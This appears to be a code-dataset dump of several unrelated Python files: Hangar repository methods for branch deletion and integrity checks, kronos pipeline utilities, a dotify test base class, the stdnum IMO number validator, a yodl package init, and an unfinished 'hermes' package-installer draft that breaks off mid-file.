branch, in which case the ``force_delete`` keyword-only argument should be set to ``True``. >>> # check out master and try to remove 'first-testbranch' >>> co = repo.checkout(write=True, branch='master') >>> co.close() >>> repo.remove_branch('first-testbranch') Traceback (most recent call last): ... RuntimeError: ("The branch first-testbranch is not fully merged. " "If you are sure you want to delete it, re-run with " "force-remove parameter set.") >>> # Now set the `force_delete` parameter >>> repo.remove_branch('first-testbranch', force_delete=True) BranchHead(name='first-testbranch', digest='9785...56da') It is important to note that *while this method will handle all safety checks, argument validation, and performs the operation to permanently delete a branch name/digest pointer, **no commit refs along the history will be deleted from the Hangar database**.* Most of the history contains commit refs which must be safe in other branch histories, and recent commits may have been used as the base for some new history. As such, even if some of the latest commits leading up to a deleted branch ``HEAD`` are orphaned (unreachable), the records (and all data added in those commits) will remain on the disk. In the future, we intend to implement a garbage collector which will remove orphan commits which have not been modified for some set amount of time (probably on the order of a few months), but this is not implemented at the moment. Should an accidental forced branch deletion occur, *it is possible to recover* and create a new branch head pointing to the same commit. If the commit digest of the removed branch ``HEAD`` is known, its as simple as specifying a name and the ``base_digest`` in the normal :meth:`create_branch` method. If the digest is unknown, it will be a bit more work, but some of the developer facing introspection tools / routines could be used to either manually or (with minimal effort) programmatically find the orphan commit candidates. If you find yourself having accidentally deleted a branch, and must get it back, please reach out on the `Github Issues <https://github.com/tensorwerk/hangar-py/issues>`__ page. We'll gladly explain more in depth and walk you through the process in any way we can help! Parameters ---------- name : str name of the branch which should be deleted. This branch must exist, and cannot refer to a remote tracked branch (ie. origin/devbranch), please see exception descriptions for other parameters determining validity of argument force_delete : bool, optional If True, remove the branch pointer even if the changes are un-merged in other branch histories. May result in orphaned commits which may be time-consuming to recover if needed, by default False Returns ------- :class:`~.heads.BranchHead` NamedTuple[str, str] with fields for `name` and `digest` of the branch pointer deleted. Raises ------ ValueError If a branch with the provided name does not exist locally PermissionError If removal of the branch would result in a repository with zero local branches. PermissionError If a write enabled checkout is holding the writer-lock at time of this call. PermissionError If the branch to be removed was the last used in a write-enabled checkout, and whose contents form the base of the staging area. RuntimeError If the branch has not been fully merged into other branch histories, and ``force_delete`` option is not ``True``. """ self.__verify_repo_initialized() res = heads.remove_branch(branchenv=self._env.branchenv, refenv=self._env.refenv, name=name, force_delete=force_delete) return res def list_branches(self) -> List[str]: """list all branch names created in the repository. Returns ------- List[str] the branch names recorded in the repository """ self.__verify_repo_initialized() branches = heads.get_branch_names(self._env.branchenv) return branches def verify_repo_integrity(self) -> bool: """Verify the integrity of the repository data on disk. Runs a full cryptographic verification of repository contents in order to ensure the integrity of all data and history recorded on disk. .. note:: This proof may take a significant amount of time to run for repositories which: 1. store significant quantities of data on disk. 2. have a very large number of commits in their history. As a brief explanation for why these are the driving factors behind processing time: 1. Every single piece of data in the repositories history must be read from disk, cryptographically hashed, and compared to the expected value. There is no exception to this rule; regardless of when a piece of data was added / removed from an column, or for how many (or how few) commits some sample exists in. The integrity of the commit tree at any point after some piece of data is added to the repo can only be validated if it - and all earlier data pieces - are proven to be intact and unchanged. Note: This does not mean that the verification is repeatedly performed for every commit some piece of data is stored in. Each data piece is read from disk and verified only once, regardless of how many commits some piece of data is referenced in. 2. Each commit reference (defining names / contents of a commit) must be decompressed and parsed into a usable data structure. We scan across all data digests referenced in the commit and ensure that the corresponding data piece is known to hangar (and validated as unchanged). The commit refs (along with the corresponding user records, message, and parent map), are then re-serialized and cryptographically hashed for comparison to the expected value. While this process is fairly efficient for a single commit, it must be repeated for each commit in the repository history, and may take a non-trivial amount of time for repositories with thousands of commits. While the two points above are the most time consuming operations, there are many more checks which are performed alongside them as part of the full verification run. Returns ------- bool True if integrity verification is successful, otherwise False; in this case, a message describing the offending component will be printed to stdout. """ self.__verify_repo_initialized() heads.acquire_writer_lock(self._env.branchenv, 'VERIFY_PROCESS') try: integrity.run_verification( branchenv=self._env.branchenv, hashenv=self._env.hashenv, refenv=self._env.refenv, repo_path=self._env.repo_path) finally: heads.release_writer_lock(self._env.branchenv, 'VERIFY_PROCESS') return True def force_release_writer_lock(self) -> bool: """Force release the lock left behind by an unclosed writer-checkout .. warning:: *NEVER USE THIS METHOD IF WRITER PROCESS IS CURRENTLY ACTIVE.* At the time of writing, the implications of improper/malicious use of this are not understood, and there is a a risk of of undefined behavior or (potentially) data corruption. At the moment, the responsibility to close a write-enabled checkout is placed entirely on the user. If the `close()` method is not called before the program terminates, a new checkout with write=True will fail. The lock can only be released via a call to this method. .. note:: This entire mechanism is subject to review/replacement in the future. Returns ------- bool if the operation was successful. """ self.__verify_repo_initialized() forceReleaseSentinal = parsing.repo_writer_lock_force_release_sentinal() success = heads.release_writer_lock(self._env.branchenv, forceReleaseSentinal) return success

pt

kronos/utils.py

jtaghiyar/kronos

13525

''' Created on Apr 16, 2014 @author: jtaghiyar ''' import os import subprocess as sub from plumber import Plumber from job_manager import LocalJobManager from workflow_manager import WorkFlow from helpers import trim, make_dir, export_to_environ class ComponentAbstract(object): """ component template. """ def __init__(self, component_name, component_parent_dir=None, seed_dir_name=None): ''' initialize general attributes that each component must have. ''' ## export component parent directory to the PYTHONPATH env var if component_parent_dir is not None: export_to_environ(component_parent_dir, 'PYTHONPATH') ## import modules of the component, i.e. component_reqs and component_params. ## if component_parent_dir==None, then components directory must have been exported to ## the PYTHONPATH env var beforehand. list_of_modules = ['component_' + x for x in['reqs', 'params']] m = __import__(component_name, globals(), locals(), list_of_modules, -1) if component_parent_dir is None: component_parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(m.__file__))) if seed_dir_name is None: seed_dir_name = 'component_seed' ## The component_ui is NOT imported, since all the input arguments should be passed to ## the component_main from config file via updating self.args attribute that happens in ## the corresponding task of the component. Therefore, an empty namespace is initialized ## here. import argparse parser = argparse.ArgumentParser() args, _ = parser.parse_known_args() # args.__dict__['return_value'] = None ## general attribute self.component_name = component_name self.component_dir = component_parent_dir self.seed_dir = os.path.join(self.component_dir, component_name, seed_dir_name) ## modules and args self.args = args self._modules = m self.component_reqs = self._modules.component_reqs self.component_params = self._modules.component_params ## from the component_reqs self.env_vars = self.component_reqs.env_vars self.memory = self.component_reqs.memory self.parallel = self.component_reqs.parallel self.requirements = self.component_reqs.requirements.copy() self.seed_version = self.component_reqs.seed_version self.version = self.component_reqs.version def run(self): """run component via system command line locally.""" cmd, cmd_args = self.make_cmd() ljm = LocalJobManager() ljm.run_job(cmd, cmd_args, self.component_name) def focus(self, cmd, cmd_args, chunk): "update the cmd and cmd_args for each chunk." raise NotImplementedError("focus method called before implementation") return cmd, cmd_args def make_cmd(self, chunk=None): """make a command.""" cmd = None cmd_args = None raise NotImplementedError("make_cmd method called before implementation") return cmd, cmd_args def test(self): """run unittest of the component.""" raise NotImplementedError("test method called before implementation") class Task(object): """ Wrap one component for the following purposes: 1. to update the args passed to the component via command line. 2. to update the requirements of the component given in the config file. 3. to give access to the 'input_files', 'output_files', 'input_params', 'return_values' and 'input_arguments' of the component. """ def __init__(self, task_name, component): self.task_name = task_name self.component = component def update_comp_args(self, **kwargs): """Update self.component.args, i.e. overwrite argument specified vi command line. This can help pass the previous task's results to the parameters of the current task. """ ## change the Namespace object to dictionary args_dict = vars(self.component.args) if kwargs is not None: kwargs = trim(kwargs, '__pipeline__') args_dict.update(kwargs) def update_comp_reqs(self, reqs_dict): """Update self.component.requirements dictionary if there are new values given in the config file, or keep the default otherwise. """ ## do not update the default value of a requirement ## if it is not changed in the config file ## or it is not one of the requirements of the components d = {k:v for k,v in reqs_dict.iteritems() if v is not None and k in self.component.requirements.keys()} self.component.requirements.update(d) def update_comp_env_vars(self, env_vars): """update the environment variables with values from the config file.""" if not self.component.env_vars: self.component.env_vars = env_vars else: self.component.env_vars.update(env_vars) def update_comp_output_filenames(self, prefix, working_dir=None, no_prefix=False): """update the output file names by prepending the prefix to their names.""" output_file_params = self.component.component_params.output_files.keys() ## change the Namespace object to dictionary args_dict = vars(self.component.args) wd = os.getcwd() if working_dir: os.chdir(working_dir) for param in output_file_params: value = args_dict.get(param) if value is not None: dirname = os.path.dirname(value) self._make_dirs(dirname) ## prepend filenames with the given prefix old_filename = os.path.basename(value) if old_filename: if no_prefix: new_filename = old_filename else: new_filename = '_'.join([prefix, old_filename]) args_dict[param] = os.path.join(dirname, new_filename) else: args_dict[param] = dirname os.chdir(wd) def _make_dirs(self, path): """make dirs using os.makedirs""" if not path: return try: os.makedirs(path) except OSError as e: if e.strerror == 'File exists': pass else: raise class Pipeline(object): ''' a pipeline could be composed of one or more ruffus task that can be run as an independent entity provided that proper input/output arguments are passed to it. ''' def __init__(self, pipeline_name, config_file, script_dir=os.getcwd(), sample_id=None): self.pipeline_name = pipeline_name self.config_file = config_file self.script_dir = script_dir self.sample_id = sample_id make_dir(self.script_dir) ## path to where the resultant pipeline script is written self.pipeline_script = os.path.join(self.script_dir, self.pipeline_name+'.py') ## use the WorkFlow to parse/make the config file self.wf = WorkFlow(config_file) ## holds the starting point of the sub pipeline, key:tag value:task_object self.start_task = {} ## holds the end point of the sub pipeline, key:tag value:task_object self.stop_task = {} ## list of all the inputs to the pipeline, i.e. set of the inputs of ## all the root tasks. A dict with k:input_params and v:input_arguments self.inputs = {} def make_script(self, sample_id): """run the plumber and make a python script for the pipeline.""" with open(self.pipeline_script, 'w') as ps: plumber = Plumber(ps, self.wf) plumber.make_script(sample_id) def run(self): try: ##TODO: this part is incomplete ## Technically, a pipeline is a script, and we run the ## script here using a LocalJobManager cmd = 'python {}'.format(self.pipeline_script) proc = sub.Popen(cmd, shell=True) cmdout, cmderr = proc.communicate() print cmdout, cmderr # ljm = LocalJobManager(logs_dir, results_dir) # ljm.run_job(cmd=cmd) except KeyboardInterrupt: print 'KeyboardInterruption in main' self.kill() raise def kill(self): """kill all the jobs.""" pass def add_component(self, component_name, component_parent_dir): pass def add_task(self, task_name, component): """add task object to the list of tasks.""" task = Task(task_name, component) self.tasks[task_name] = task def get_inputs(self): """get the list of all input file parameters of all the root components in the pipeline. """ return self.tasks['root'].input_files def update_pipeline_script_args(self, args_namespace): """update args namespace of the pipeline script.""" ## change the Namespace object to dictionary args_dict = vars(args_namespace) ##TODO: make proper dictionary from the values that ## needs to be passed to the pipeline script kwargs = None args_dict.update(kwargs) def update_components_args(self): """update all the arguments of all the components in the pipeline. It is equivalent to running __TASK___task.update_comp_args() method over each of the components in the pipeline. """ pass def update_components_reqs(self): """update all the requirements of all the components in the pipeline. It is equivalent to running __TASK___task.update_comp_reqs() method over each of the components in the pipeline. """ pass def import_python_modules(self): """import required python modules for the pipeline to run.""" pass def import_factory_modules(self): """import required factory modules for the pipeline to run.""" pass def set_start_task(self, task_name): self.start_task = self.tasks[task_name] def set_stop_task(self, task_name): self.stop_task = self.tasks[task_name]

''' Created on Apr 16, 2014 @author: jtaghiyar ''' import os import subprocess as sub from plumber import Plumber from job_manager import LocalJobManager from workflow_manager import WorkFlow from helpers import trim, make_dir, export_to_environ class ComponentAbstract(object): """ component template. """ def __init__(self, component_name, component_parent_dir=None, seed_dir_name=None): ''' initialize general attributes that each component must have. ''' ## export component parent directory to the PYTHONPATH env var if component_parent_dir is not None: export_to_environ(component_parent_dir, 'PYTHONPATH') ## import modules of the component, i.e. component_reqs and component_params. ## if component_parent_dir==None, then components directory must have been exported to ## the PYTHONPATH env var beforehand. list_of_modules = ['component_' + x for x in['reqs', 'params']] m = __import__(component_name, globals(), locals(), list_of_modules, -1) if component_parent_dir is None: component_parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(m.__file__))) if seed_dir_name is None: seed_dir_name = 'component_seed' ## The component_ui is NOT imported, since all the input arguments should be passed to ## the component_main from config file via updating self.args attribute that happens in ## the corresponding task of the component. Therefore, an empty namespace is initialized ## here. import argparse parser = argparse.ArgumentParser() args, _ = parser.parse_known_args() # args.__dict__['return_value'] = None ## general attribute self.component_name = component_name self.component_dir = component_parent_dir self.seed_dir = os.path.join(self.component_dir, component_name, seed_dir_name) ## modules and args self.args = args self._modules = m self.component_reqs = self._modules.component_reqs self.component_params = self._modules.component_params ## from the component_reqs self.env_vars = self.component_reqs.env_vars self.memory = self.component_reqs.memory self.parallel = self.component_reqs.parallel self.requirements = self.component_reqs.requirements.copy() self.seed_version = self.component_reqs.seed_version self.version = self.component_reqs.version def run(self): """run component via system command line locally.""" cmd, cmd_args = self.make_cmd() ljm = LocalJobManager() ljm.run_job(cmd, cmd_args, self.component_name) def focus(self, cmd, cmd_args, chunk): "update the cmd and cmd_args for each chunk." raise NotImplementedError("focus method called before implementation") return cmd, cmd_args def make_cmd(self, chunk=None): """make a command.""" cmd = None cmd_args = None raise NotImplementedError("make_cmd method called before implementation") return cmd, cmd_args def test(self): """run unittest of the component.""" raise NotImplementedError("test method called before implementation") class Task(object): """ Wrap one component for the following purposes: 1. to update the args passed to the component via command line. 2. to update the requirements of the component given in the config file. 3. to give access to the 'input_files', 'output_files', 'input_params', 'return_values' and 'input_arguments' of the component. """ def __init__(self, task_name, component): self.task_name = task_name self.component = component def update_comp_args(self, **kwargs): """Update self.component.args, i.e. overwrite argument specified vi command line. This can help pass the previous task's results to the parameters of the current task. """ ## change the Namespace object to dictionary args_dict = vars(self.component.args) if kwargs is not None: kwargs = trim(kwargs, '__pipeline__') args_dict.update(kwargs) def update_comp_reqs(self, reqs_dict): """Update self.component.requirements dictionary if there are new values given in the config file, or keep the default otherwise. """ ## do not update the default value of a requirement ## if it is not changed in the config file ## or it is not one of the requirements of the components d = {k:v for k,v in reqs_dict.iteritems() if v is not None and k in self.component.requirements.keys()} self.component.requirements.update(d) def update_comp_env_vars(self, env_vars): """update the environment variables with values from the config file.""" if not self.component.env_vars: self.component.env_vars = env_vars else: self.component.env_vars.update(env_vars) def update_comp_output_filenames(self, prefix, working_dir=None, no_prefix=False): """update the output file names by prepending the prefix to their names.""" output_file_params = self.component.component_params.output_files.keys() ## change the Namespace object to dictionary args_dict = vars(self.component.args) wd = os.getcwd() if working_dir: os.chdir(working_dir) for param in output_file_params: value = args_dict.get(param) if value is not None: dirname = os.path.dirname(value) self._make_dirs(dirname) ## prepend filenames with the given prefix old_filename = os.path.basename(value) if old_filename: if no_prefix: new_filename = old_filename else: new_filename = '_'.join([prefix, old_filename]) args_dict[param] = os.path.join(dirname, new_filename) else: args_dict[param] = dirname os.chdir(wd) def _make_dirs(self, path): """make dirs using os.makedirs""" if not path: return try: os.makedirs(path) except OSError as e: if e.strerror == 'File exists': pass else: raise class Pipeline(object): ''' a pipeline could be composed of one or more ruffus task that can be run as an independent entity provided that proper input/output arguments are passed to it. ''' def __init__(self, pipeline_name, config_file, script_dir=os.getcwd(), sample_id=None): self.pipeline_name = pipeline_name self.config_file = config_file self.script_dir = script_dir self.sample_id = sample_id make_dir(self.script_dir) ## path to where the resultant pipeline script is written self.pipeline_script = os.path.join(self.script_dir, self.pipeline_name+'.py') ## use the WorkFlow to parse/make the config file self.wf = WorkFlow(config_file) ## holds the starting point of the sub pipeline, key:tag value:task_object self.start_task = {} ## holds the end point of the sub pipeline, key:tag value:task_object self.stop_task = {} ## list of all the inputs to the pipeline, i.e. set of the inputs of ## all the root tasks. A dict with k:input_params and v:input_arguments self.inputs = {} def make_script(self, sample_id): """run the plumber and make a python script for the pipeline.""" with open(self.pipeline_script, 'w') as ps: plumber = Plumber(ps, self.wf) plumber.make_script(sample_id) def run(self): try: ##TODO: this part is incomplete ## Technically, a pipeline is a script, and we run the ## script here using a LocalJobManager cmd = 'python {}'.format(self.pipeline_script) proc = sub.Popen(cmd, shell=True) cmdout, cmderr = proc.communicate() print cmdout, cmderr # ljm = LocalJobManager(logs_dir, results_dir) # ljm.run_job(cmd=cmd) except KeyboardInterrupt: print 'KeyboardInterruption in main' self.kill() raise def kill(self): """kill all the jobs.""" pass def add_component(self, component_name, component_parent_dir): pass def add_task(self, task_name, component): """add task object to the list of tasks.""" task = Task(task_name, component) self.tasks[task_name] = task def get_inputs(self): """get the list of all input file parameters of all the root components in the pipeline. """ return self.tasks['root'].input_files def update_pipeline_script_args(self, args_namespace): """update args namespace of the pipeline script.""" ## change the Namespace object to dictionary args_dict = vars(args_namespace) ##TODO: make proper dictionary from the values that ## needs to be passed to the pipeline script kwargs = None args_dict.update(kwargs) def update_components_args(self): """update all the arguments of all the components in the pipeline. It is equivalent to running __TASK___task.update_comp_args() method over each of the components in the pipeline. """ pass def update_components_reqs(self): """update all the requirements of all the components in the pipeline. It is equivalent to running __TASK___task.update_comp_reqs() method over each of the components in the pipeline. """ pass def import_python_modules(self): """import required python modules for the pipeline to run.""" pass def import_factory_modules(self): """import required factory modules for the pipeline to run.""" pass def set_start_task(self, task_name): self.start_task = self.tasks[task_name] def set_stop_task(self, task_name): self.stop_task = self.tasks[task_name]

pt

tests/base.py

the-dotify-project/dotify

13526

from pathlib import Path from re import sub from shutil import rmtree from unittest import TestCase from dotify import Dotify, models class BaseNameResolverMixin(object): @classmethod def get_download_basename(cls, obj): if isinstance(obj, models.Track): return cls.get_download_basename_track(obj) elif isinstance(obj, models.Playlist): return cls.get_download_basename_playlist(obj) elif isinstance(obj, models.Album): return cls.get_download_basename_album(obj) raise RuntimeError("`{0}` is an instance of {1}".format(obj, type(obj))) @classmethod def get_download_basename_track(cls, track): artist, name = track.artist.name, track.name artist, name = artist.strip(), name.strip() artist, name = sub(r"\s+", "_", artist), sub(r"\s+", "_", name) return "{0} - {1}.mp3".format(artist, name) @classmethod def get_download_basename_playlist(cls, playlist): return sub(r"\s+", " ", playlist.name.strip()) @classmethod def get_download_basename_album(cls, album): artist, name = album.artist.name, album.name artist, name = artist.strip(), name.strip() artist, name = sub(r"\s+", " ", artist), sub(r"\s+", " ", name) return "{0} - {1}".format(artist, name) class DotifyBaseTestCase(TestCase, BaseNameResolverMixin): def setUp(self): self.client = Dotify() self.test_directory = Path(__file__).parent / "tmp" self.test_directory.mkdir(parents=True, exist_ok=True) def tearDown(self): rmtree(self.test_directory) def download(self, cls_name, url): with self.client: model_type = getattr(models, cls_name) obj = model_type.from_url(url) download_basename = self.get_download_basename(obj) download_fullpath = self.test_directory / download_basename obj.download(download_fullpath) self.assertTrue(download_fullpath.exists()) def search(self, cls_name, query, metadata_list, limit=1): with self.client: self.assertEqual(len(metadata_list), limit) results = getattr(models, cls_name).search(query, limit=limit) for result, metadata in zip(results, metadata_list): for name, value in metadata.items(): self._test_search_result_metadata_equality(result, name, value) @classmethod def get_value(cls, obj, attribute_path): return cls._get_value_recursive( obj, list(filter(None, attribute_path.split("."))), ) @classmethod def _get_value_recursive(cls, obj, paths): if paths: return cls._get_value_recursive(getattr(obj, paths[0]), paths[1:]) return obj def _test_search_result_metadata_equality(self, result, name, value): with self.subTest("Asserting metadata equality", **{name: value}): self.assertEqual(self.get_value(result, name), value)

from pathlib import Path from re import sub from shutil import rmtree from unittest import TestCase from dotify import Dotify, models class BaseNameResolverMixin(object): @classmethod def get_download_basename(cls, obj): if isinstance(obj, models.Track): return cls.get_download_basename_track(obj) elif isinstance(obj, models.Playlist): return cls.get_download_basename_playlist(obj) elif isinstance(obj, models.Album): return cls.get_download_basename_album(obj) raise RuntimeError("`{0}` is an instance of {1}".format(obj, type(obj))) @classmethod def get_download_basename_track(cls, track): artist, name = track.artist.name, track.name artist, name = artist.strip(), name.strip() artist, name = sub(r"\s+", "_", artist), sub(r"\s+", "_", name) return "{0} - {1}.mp3".format(artist, name) @classmethod def get_download_basename_playlist(cls, playlist): return sub(r"\s+", " ", playlist.name.strip()) @classmethod def get_download_basename_album(cls, album): artist, name = album.artist.name, album.name artist, name = artist.strip(), name.strip() artist, name = sub(r"\s+", " ", artist), sub(r"\s+", " ", name) return "{0} - {1}".format(artist, name) class DotifyBaseTestCase(TestCase, BaseNameResolverMixin): def setUp(self): self.client = Dotify() self.test_directory = Path(__file__).parent / "tmp" self.test_directory.mkdir(parents=True, exist_ok=True) def tearDown(self): rmtree(self.test_directory) def download(self, cls_name, url): with self.client: model_type = getattr(models, cls_name) obj = model_type.from_url(url) download_basename = self.get_download_basename(obj) download_fullpath = self.test_directory / download_basename obj.download(download_fullpath) self.assertTrue(download_fullpath.exists()) def search(self, cls_name, query, metadata_list, limit=1): with self.client: self.assertEqual(len(metadata_list), limit) results = getattr(models, cls_name).search(query, limit=limit) for result, metadata in zip(results, metadata_list): for name, value in metadata.items(): self._test_search_result_metadata_equality(result, name, value) @classmethod def get_value(cls, obj, attribute_path): return cls._get_value_recursive( obj, list(filter(None, attribute_path.split("."))), ) @classmethod def _get_value_recursive(cls, obj, paths): if paths: return cls._get_value_recursive(getattr(obj, paths[0]), paths[1:]) return obj def _test_search_result_metadata_equality(self, result, name, value): with self.subTest("Asserting metadata equality", **{name: value}): self.assertEqual(self.get_value(result, name), value)

none

odoo-13.0/venv/lib/python3.8/site-packages/stdnum/imo.py

VaibhavBhujade/Blockchain-ERP-interoperability

13527

<reponame>VaibhavBhujade/Blockchain-ERP-interoperability # imo.py - functions for handling IMO numbers # coding: utf-8 # # Copyright (C) 2015 <NAME> # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA # 02110-1301 USA """IMO number (International Maritime Organization number). A number used to uniquely identify ships (the hull) for purposes of registering owners and management companies. The ship identification number consists of a six-digit sequentially assigned number and a check digit. The number is usually prefixed with "IMO". Note that there seem to be a large number of ships with an IMO that does not have a valid check digit or even have a different length. >>> validate('IMO 9319466') '9319466' >>> validate('IMO 8814275') '8814275' >>> validate('8814274') Traceback (most recent call last): ... InvalidChecksum: ... >>> format('8814275') 'IMO 8814275' """ from stdnum.exceptions import * from stdnum.util import clean, isdigits def compact(number): """Convert the number to the minimal representation. This strips the number of any valid separators and removes surrounding whitespace.""" number = clean(number, ' ').upper().strip() if number.startswith('IMO'): number = number[3:] return number def calc_check_digit(number): """Calculate the check digits for the number.""" return str(sum(int(n) * (7 - i) for i, n in enumerate(number[:6])) % 10) def validate(number): """Check if the number provided is valid. This checks the length and check digit.""" number = compact(number) if not isdigits(number): raise InvalidFormat() if len(number) != 7: raise InvalidLength() if calc_check_digit(number[:-1]) != number[-1]: raise InvalidChecksum() return number def is_valid(number): """Check if the number provided is valid. This checks the length and check digit.""" try: return bool(validate(number)) except ValidationError: return False def format(number): """Reformat the number to the standard presentation format.""" return 'IMO ' + compact(number)

# imo.py - functions for handling IMO numbers # coding: utf-8 # # Copyright (C) 2015 <NAME> # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA # 02110-1301 USA """IMO number (International Maritime Organization number). A number used to uniquely identify ships (the hull) for purposes of registering owners and management companies. The ship identification number consists of a six-digit sequentially assigned number and a check digit. The number is usually prefixed with "IMO". Note that there seem to be a large number of ships with an IMO that does not have a valid check digit or even have a different length. >>> validate('IMO 9319466') '9319466' >>> validate('IMO 8814275') '8814275' >>> validate('8814274') Traceback (most recent call last): ... InvalidChecksum: ... >>> format('8814275') 'IMO 8814275' """ from stdnum.exceptions import * from stdnum.util import clean, isdigits def compact(number): """Convert the number to the minimal representation. This strips the number of any valid separators and removes surrounding whitespace.""" number = clean(number, ' ').upper().strip() if number.startswith('IMO'): number = number[3:] return number def calc_check_digit(number): """Calculate the check digits for the number.""" return str(sum(int(n) * (7 - i) for i, n in enumerate(number[:6])) % 10) def validate(number): """Check if the number provided is valid. This checks the length and check digit.""" number = compact(number) if not isdigits(number): raise InvalidFormat() if len(number) != 7: raise InvalidLength() if calc_check_digit(number[:-1]) != number[-1]: raise InvalidChecksum() return number def is_valid(number): """Check if the number provided is valid. This checks the length and check digit.""" try: return bool(validate(number)) except ValidationError: return False def format(number): """Reformat the number to the standard presentation format.""" return 'IMO ' + compact(number)

pt

yodl/__init__.py

brunolange/yodl

13528

"""yodl! yodl provides a class decorator to build django models from YAML configuration files """ from .decorators import yodl from .io import yodlify __author__ = "<NAME>" __email__ = "<EMAIL>" __license__ = "MIT" __all__ = ["yodl", "yodlify"]

"""yodl! yodl provides a class decorator to build django models from YAML configuration files """ from .decorators import yodl from .io import yodlify __author__ = "<NAME>" __email__ = "<EMAIL>" __license__ = "MIT" __all__ = ["yodl", "yodlify"]

pt

main.py

g-w1/hermes

13529

""" Usage: hermes install [-dsvV] <pkg>... hermes -h | --help hermes --version Options: -d, --depends Require dependency installation -h, --help Display usage and options -s, --check-sigs Verify package GPG signatures -v, --verify Verify package checksums -V, --verbose Display debugging messages --version Display version """ from configure import valid_hermes_config from configure import valid_pkg_config from docopt import docopt # MIT License import os # Standard Library import requests # Apache License v2.0 import sh # MIT License import tarfile # Standard Library def dl_url(url): dl = requests.get(source_url) if not dl.status == 200: # is this actually a meaningful test? return False with open(pkg_id, 'wb') as archive: # pkg_id deoesn't include extension(s) for chunk in dl.iter_content(1024): archive.write(chunk) # where does it write it? how does it know? # what about errors? return True def get_pkg(pkg_id): source_url = pkg_configs[pkg_id][source_url] if not dl_pkg(source_url): return False if not os.path.isfile(os.path.join(hermes_dir, 'archives', pkg_id)): return False if not valid_archive(pkg_id): return False # if runtime_config[verify_pkg]: # if not verified: # return False # if runtime_config[check_sigs]: # if not verified: # return False return True def get_pkg_config(pkg_id): # This is a placeholder for repository-enabled functionality return True def install_pkg(pkg_id): if runtime_config['install_dependencies']: for dependency in pkg_configs[pkg_id]['dependencies']: if not pkg_installed(dependency): install_pkg(dependency) # actual install code here def main_installer(pkg_list): for pkg_id in pkg_list: if pkg_installed(pkg_id): print pkg_id, 'is already installed.' elif pkg_prepared(pkg_id): install_pkg(pkg_id) else: # Error message return False def pkg_avail(pkg_id): if True: # if archive is in hermes/archives and valid_archive(pkg_id) return True if get_pkg(pkg_id): return True # Error message return False def pkg_config_avail(pkg_id): pkg_config_path = os.path.join(hermes_dir, 'configs', (pkg_id + '.hermes')) if pkg_id in pkg_configs: return True elif os.path.isfile(pkg_config_path): pkg_config = valid_pkg_config(pkg_config_path) if pkg_config: # populate pkg_configs[pkg_id] with contents of pkg_config return True else: # Error message return False elif get_pkg_config(pkg_id): return False # temporary short-circuit (get_pkg_config() is a dummy) pkg_config = valid_pkg_config(pkg_config_path) if pkg_config: # populate pkg_configs[pkg_id] with contents of pkg_config return True else: # Error message return False def pkg_installed(pkg_id): # if symlink in target_dir points at package in hermes/pkg # return True # if symlink in target_dir points elsewhere # deal with conflict # if binary already exists in target_dir # deal with conflict # Error message return False def pkg_prepared(pkg_id): if pkg_installed(pkg_id): return True if not pkg_config_avail(pkg_id): # Error message return False if not pkg_avail(pkg_id): # Error message return False if runtime_config[install_dependencies]: for dependency in pkg_configs[pkg_id][dependencies]: if not pkg_prepared(dependency): # Error message return False return True def populate_runtime_config(): hermes_config = dict() system_config_path = os.path.join(hermes_dir, '.hermes.conf') user_config_path = os.path.expanduser(os.path.join('~', '.hermes.conf')) if os.path.isfile(user_config_path): hermes_config = valid_hermes_config(user_config_path) if not hermes_config and os.path.isfile(system_config_path): hermes_config = valid_hermes_config(system_config_path) if not hermes_config: hermes_config['check_sigs'] = True hermes_config['install_dependencies'] = False hermes_config['target_dir'] = '/usr/local' hermes_config['verify_pkgs'] = True if cli_args['--depends']: runtime_config['install_dependencies'] = True if cli_args['--check-sigs']: runtime_config['check_sigs'] = True if cli_args['--verify']: runtime_config['verify_pkgs'] = True return hermes_config def valid_archive(pkg_id): tarball_name = pkg_id + pkg_configs[pkg_id]['tarball_ext'] tarball_path = os.join.path(hermes_dir, 'archives', tarball_name) if not os.path.isfile(tarball_path): return False if not tarfile.is_tarfile(tarball_path): return False return True def valid_pkg(pkg_id): # if not valid_archive(pkg_id): # Error message # return False # if cli_args[--verify'] and checksum is bad: # Error message # return False # if cli_args['--check-sigs'] and sig is bad: # Error message # return False return True if __name__ == '__main__': cli_args = docopt(__doc__, version='hermes v0.0.1') print cli_args # hermes_dir = os.path.dirname(sh.which('hermes')) hermes_dir = 'hermes' runtime_config = populate_runtime_config() print runtime_config pkg_configs = dict() if cli_args['install']: print 'Installing ', str(cli_args['<pkg>']) main_installer(cli_args['<pkg>'])

""" Usage: hermes install [-dsvV] <pkg>... hermes -h | --help hermes --version Options: -d, --depends Require dependency installation -h, --help Display usage and options -s, --check-sigs Verify package GPG signatures -v, --verify Verify package checksums -V, --verbose Display debugging messages --version Display version """ from configure import valid_hermes_config from configure import valid_pkg_config from docopt import docopt # MIT License import os # Standard Library import requests # Apache License v2.0 import sh # MIT License import tarfile # Standard Library def dl_url(url): dl = requests.get(source_url) if not dl.status == 200: # is this actually a meaningful test? return False with open(pkg_id, 'wb') as archive: # pkg_id deoesn't include extension(s) for chunk in dl.iter_content(1024): archive.write(chunk) # where does it write it? how does it know? # what about errors? return True def get_pkg(pkg_id): source_url = pkg_configs[pkg_id][source_url] if not dl_pkg(source_url): return False if not os.path.isfile(os.path.join(hermes_dir, 'archives', pkg_id)): return False if not valid_archive(pkg_id): return False # if runtime_config[verify_pkg]: # if not verified: # return False # if runtime_config[check_sigs]: # if not verified: # return False return True def get_pkg_config(pkg_id): # This is a placeholder for 